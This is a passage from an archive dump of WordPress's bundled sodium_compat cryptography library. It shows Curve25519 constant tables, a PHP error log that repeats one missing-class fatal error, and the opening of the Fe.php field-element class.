            array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378),
            array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546),
        ),
        array(
            array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024),
            array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574),
            array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357),
        ),
        array(
            array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380),
            array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306),
            array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942),
        ),
        array(
            array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766),
            array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701),
            array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300),
        ),
        array(
            array(-22518993, -6692182, 14201702, -8745502, -23510406, 8844726, 18474211, -1361450, -13062696, 13821877),
            array(-6455177, -7839871, 3374702, -4740862, -27098617, -10571707, 31655028, -7212327, 18853322, -14220951),
            array(4566830, -12963868, -28974889, -12240689, -7602672, -2830569, -8514358, -10431137, 2207753, -3209784),
        ),
        array(
            array(-25154831, -4185821, 29681144, 7868801, -6854661, -9423865, -12437364, -663000, -31111463, -16132436),
            array(25576264, -2703214, 7349804, -11814844, 16472782, 9300885, 3844789, 15725684, 171356, 6466918),
            array(23103977, 13316479, 9739013, -16149481, 817875, -15038942, 8965339, -14088058, -30714912, 16193877),
        ),
        array(
            array(-33521811, 3180713, -2394130, 14003687, -16903474, -16270840, 17238398, 4729455, -18074513, 9256800),
            array(-25182317, -4174131, 32336398, 5036987, -21236817, 11360617, 22616405, 9761698, -19827198, 630305),
            array(-13720693, 2639453, -24237460, -7406481, 9494427, -5774029, -6554551, -15960994, -2449256, -14291300),
        ),
        array(
            array(-3151181, -5046075, 9282714, 6866145, -31907062, -863023, -18940575, 15033784, 25105118, -7894876),
            array(-24326370, 15950226, -31801215, -14592823, -11662737, -5090925, 1573892, -2625887, 2198790, -15804619),
            array(-3099351, 10324967, -2241613, 7453183, -5446979, -2735503, -13812022, -16236442, -32461234, -12290683),
        )
    );

    /**
     * 37095705934669439343138083508754565189542113879843219016388785533085940283555
     *
     * @var array<int, int>
     */
    protected static $d = array(
        -10913610,
        13857413,
        -15372611,
        6949391,
        114729,
        -8787816,
        -6275908,
        -3247719,
        -18696448,
        -12055116
    );

    /**
     * 2 * d = 16295367250680780974490674513165176452449235426866156013048779062215315747161
     *
     * @var array<int, int>
     */
    protected static $d2 = array(
        -21827239,
        -5839606,
        -30745221,
        13898782,
        229458,
        15978800,
        -12551817,
        -6495438,
        29715968,
        9444199
    );

    /**
     * sqrt(-1)
     *
     * @var array<int, int>
     */
    protected static $sqrtm1 = array(
        -32595792,
        -7943725,
        9377950,
        3500415,
        12389472,
        -272473,
        -25146209,
        -2005654,
        326686,
        11406482
    );
}
Core32/Curve25519/error_log000064400000051400152222652550011216 0ustar00[02-Sep-2024 22:16:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[02-Sep-2024 22:16:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[02-Sep-2024 22:17:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[02-Sep-2024 22:18:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[19-Sep-2024 20:21:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[10-Nov-2024 10:39:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[13-Nov-2024 09:50:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[16-Nov-2024 04:25:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[17-Nov-2024 02:12:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[19-Nov-2024 00:33:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[02-Feb-2025 02:14:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[22-Feb-2025 06:19:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[29-Mar-2025 09:59:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[13-May-2025 09:59:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[13-May-2025 09:59:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[13-May-2025 09:59:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[13-May-2025 10:00:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[14-May-2025 12:01:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[14-May-2025 12:01:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[14-May-2025 12:01:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[14-May-2025 12:01:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[14-May-2025 14:31:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[14-May-2025 14:31:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[14-May-2025 14:31:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[14-May-2025 14:31:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[18-Jun-2025 16:54:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[19-Jul-2025 09:09:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[20-Aug-2025 23:26:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[21-Aug-2025 21:33:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[26-Aug-2025 06:27:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[26-Aug-2025 06:36:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[04-Sep-2025 00:45:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[04-Sep-2025 01:04:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[06-Sep-2025 01:56:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[06-Sep-2025 02:05:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[09-Sep-2025 17:46:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[09-Sep-2025 17:57:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[14-Sep-2025 15:09:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[14-Sep-2025 15:18:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[18-Sep-2025 17:17:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[19-Sep-2025 06:36:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[19-Sep-2025 06:49:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[22-Sep-2025 12:46:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[22-Sep-2025 13:00:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[25-Sep-2025 22:02:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[25-Sep-2025 22:14:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[02-Oct-2025 10:43:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[02-Oct-2025 10:50:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[02-Nov-2025 08:32:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[02-Nov-2025 08:41:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[06-Dec-2025 18:49:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[06-Dec-2025 19:00:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[23-Dec-2025 11:48:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[23-Dec-2025 12:04:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[24-Dec-2025 15:03:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[24-Dec-2025 15:25:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[04-Jan-2026 10:11:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[04-Jan-2026 10:20:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[06-Jan-2026 01:24:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[06-Jan-2026 01:35:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[13-Jan-2026 06:30:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[14-Jan-2026 00:02:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[14-Jan-2026 00:19:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
[21-Feb-2026 02:57:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519/H.php on line 12
Core32/Curve25519/Fe.php000064400000012572152222652550010353 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Fe', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Fe
 *
 * This represents a Field Element
 */
class ParagonIE_Sodium_Core32_Curve25519_Fe implements ArrayAccess
{
    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int32>
     */
    protected $container = array();

    /**
     * @var int
     */
    protected $size = 10;

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, ParagonIE_Sodium_Core32_Int32> $array
     * @param bool $save_indexes
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);

        $obj = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $array[$i]->overflow = 0;
                $obj->offsetSet($keys[$i], $array[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                if (!($array[$i] instanceof ParagonIE_Sodium_Core32_Int32)) {
                    throw new TypeError('Expected ParagonIE_Sodium_Core32_Int32');
                }
                $array[$i]->overflow = 0;
                $obj->offsetSet($i, $array[$i]);
            }
        }
        return $obj;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $array
     * @param bool $save_indexes
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromIntArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);
        $set = array();
        /** @var int $i */
        /** @var int $v */
        foreach ($array as $i => $v) {
            $set[$i] = ParagonIE_Sodium_Core32_Int32::fromInt($v);
        }

        $obj = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $set[$i]->overflow = 0;
                $obj->offsetSet($keys[$i], $set[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                $set[$i]->overflow = 0;
                $obj->offsetSet($i, $set[$i]);
            }
        }
        return $obj;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @param mixed $value
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    #[ReturnTypeWillChange]
    public function offsetSet($offset, $value)
    {
        if (!($value instanceof ParagonIE_Sodium_Core32_Int32)) {
            throw new InvalidArgumentException('Expected an instance of ParagonIE_Sodium_Core32_Int32');
        }
        if (is_null($offset)) {
            $this->container[] = $value;
        } else {
            ParagonIE_Sodium_Core32_Util::declareScalarType($offset, 'int', 1);
            $this->container[(int) $offset] = $value;
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return bool
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return ParagonIE_Sodium_Core32_Int32
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        if (!isset($this->container[$offset])) {
            $this->container[(int) $offset] = new ParagonIE_Sodium_Core32_Int32();
        }
        /** @var ParagonIE_Sodium_Core32_Int32 $get */
        $get = $this->container[$offset];
        return $get;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return array
     */
    public function __debugInfo()
    {
        if (empty($this->container)) {
            return array();
        }
        $c = array(
            (int) ($this->container[0]->toInt()),
            (int) ($this->container[1]->toInt()),
            (int) ($this->container[2]->toInt()),
            (int) ($this->container[3]->toInt()),
            (int) ($this->container[4]->toInt()),
            (int) ($this->container[5]->toInt()),
            (int) ($this->container[6]->toInt()),
            (int) ($this->container[7]->toInt()),
            (int) ($this->container[8]->toInt()),
